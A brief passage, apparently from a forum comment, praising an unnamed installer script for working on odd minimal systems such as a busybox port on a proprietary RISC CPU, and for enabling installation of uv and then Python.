But the original script will work no matter how many lemons you throw at it, inside a toaster running a hacky port of busybox riding a Chinese proprietary RISC CPU.

And the beauty of it is, it will let you install uv and therefore, Python, next.